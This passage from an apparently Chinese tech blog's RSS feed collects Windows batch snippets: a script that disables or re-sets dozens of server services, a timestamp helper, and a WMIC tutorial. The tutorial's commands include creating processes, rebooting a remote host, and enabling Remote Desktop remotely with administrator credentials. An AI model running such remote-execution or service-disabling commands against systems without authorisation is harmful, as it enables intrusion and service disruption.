13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=773]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:08:56 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[服务器服务管理之批处理]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@ sc config helpsvc start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Messenger start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Spooler start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config remoteRegistry start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config ShellHWDetection start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config WmdmpmSN start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SysmonLog start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config lanmanworkstation start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config WZCSVC start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config W32Time start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config stisvc start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SharedAccess start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config AudioSrv start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config WebClient start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config msvsmon80 start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Themes start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Tssdis start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config TlntSvr start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config LmHosts start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Schedule start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config remoteAccess start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Nla start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config NetDDEdsdm start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config NetDDE start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config mnmsrvc start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config LicenseService start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config kdc start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config IsmServ start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config ImapiService start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config HidServ start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config TrkSrv start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config ClipSrv start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config alg start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Alerter start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config AppMgmt start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Browser start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Dfs start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config swprv start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config NetLogon start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config xmlprov start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config ose start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config NtmsSvc start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SCardSvr start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config UPS start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config vds start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config VSS start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SNMP start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SENS start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config TrkWks start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config DHCP start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config WinHttpAutoProxySvc start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Rasman start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Tapisrv start= disabled&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; pause&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config winmgmt start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config wmi start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config sacsvr start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config dmadmin start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config NtLmSsp start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config RasAuto start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config RDSessMgr start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config RpcLocator start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config RSoPProv start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SNMPTRAP start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config NtFrs start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config HTTPFilter start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config COMSysAPp start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config aspnet_state start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Clr_optimization_v2.0.50727_32 start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config UMWdf start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config WmiApSrv start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config MSIServer start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config smserver start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config TermService start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Netman start= demand&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config SamSs start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config seclogon start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config Protected Storage start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config PlugPlay start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config DcomLaunch start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config CiSvc start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config PolicyAgent start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config ERSvc start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config DNScache start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config MSDTC start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config CryptSvc start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config EventSystem start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config BITS start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config wuauserv start= auto&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; @ sc config AelookupSvc start= auto&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=771]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:07:45 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理获取当前时间]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@set var1=%date:~0,10%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set var2=%var1:-=%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set var3=%time::=%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set var4=%var3:.=%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set var5=%var2%%var4%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo %var5%</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=770]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:07:07 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[WMIC 实例教程]]></title>
  <description><![CDATA[<span style="font-size: 13px;">wmic 获取进程名称以及可执行路径:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process get name,executablepath&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 删除指定进程(根据进程名称):&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process where name=&quot;qq.exe&quot; call terminate&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;或者用&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process where name=&quot;qq.exe&quot; delete&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 删除指定进程(根据进程PID):&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process where pid=&quot;123&quot; delete&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 创建新进程&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process call create &quot;C:Program FilesTencentQQQQ.exe&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;在远程机器上创建新进程：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic /node:192.168.1.10 /user:administrator /password:123456 process call create cmd.exe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;关闭本地计算机&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process call create shutdown.exe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;重启远程计算机&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic /node:192.168.1.10/user:administrator /password:123456 process call create &quot;shutdown.exe -r -f -m&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;更改计算机名称&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic computersystem where &quot;caption=&#039;%ComputerName%&#039;&quot; call rename newcomputername&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;更改帐户名&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic USERACCOUNT where &quot;name=&#039;%UserName%&#039;&quot; call rename newUserName&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 结束可疑进程（根据进程的启动路径）&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process where &quot;name=&#039;explorer.exe&#039; and executablepath&lt;&gt;&#039;%SystemDrive%&#92;windows&#92;explorer.exe&#039;&quot; delete&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 获取物理内存&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic memlogical get TotalPhysicalMemory&#124;find /i /v &quot;t&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 获取文件的创建、访问、修改时间&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;skip=1 tokens=1,3,5 delims=. &quot; %%a in (&#039;wmic datafile where name^=&quot;c:&#92;windows&#92;system32&#92;notepad.exe&quot; get CreationDate^,LastAccessed^,LastModified&#039;) do (&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set a=%%a&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set b=%%b&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set c=%%c&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 文件: c:windowssystem32notepad.exe&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 创建时间: %a:~0,4% 年 %a:~4,2% 月 %a:~6,2% 日 %a:~8,2% 时 %a:~10,2% 分 %a:~12,2% 秒&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 最后访问: %b:~0,4% 年 %b:~4,2% 月 %b:~6,2% 日 %b:~8,2% 时 %b:~10,2% 分 %b:~12,2% 秒&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 最后修改: %c:~0,4% 年 %c:~4,2% 月 %c:~6,2% 日 %c:~8,2% 时 %c:~10,2% 分 %c:~12,2% 秒&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic 全盘搜索某文件并获取该文件所在目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;skip=1 tokens=1*&quot; %i in (&#039;wmic datafile where &quot;FileName=&#039;qq&#039; and extension=&#039;exe&#039;&quot; get drive^,path&#039;) do (set &quot;qPath=%i%j&quot;&amp;@echo %qPath:~0,-3%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;获取屏幕分辨率 wmic DESKTOPMONITOR where Status=&#039;ok&#039; get ScreenHeight,ScreenWidth&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic PageFileSet set InitialSize=&quot;512&quot;,MaximumSize=&quot;512&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;设置虚拟内存到E盘，并删除C盘下的页面文件,重启计算机后生效&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic PageFileSet create name=&quot;E:&#92;pagefile.sys&quot;,InitialSize=&quot;1024&quot;,MaximumSize=&quot;1024&quot;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic PageFileSet where &quot;name=&#039;C:&#92;pagefile.sys&#039;&quot; delete&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;获得进程当前占用的内存和最大占用内存的大小：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic process where caption=&#039;filename.exe&#039; get WorkingSetSize,PeakWorkingSetSize&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;以KB为单位显示&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;skip=1 tokens=1-2 delims= &quot; %%a in (&#039;wmic process where caption^=&quot;conime.exe&quot; get WorkingSetSize^,PeakWorkingSetSize&#039;) do (&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a m=%%a/1024&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set /a mm=%%b/1024&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 进程conime.exe现在占用内存：%m%K；最高占用内存：%mm%K&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;远程打开计算机远程桌面&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!=&quot;&quot;) CALL SetAllowTSConnections 1&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=769]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:06:21 +0800]]></pubDate>
</item>
<item>
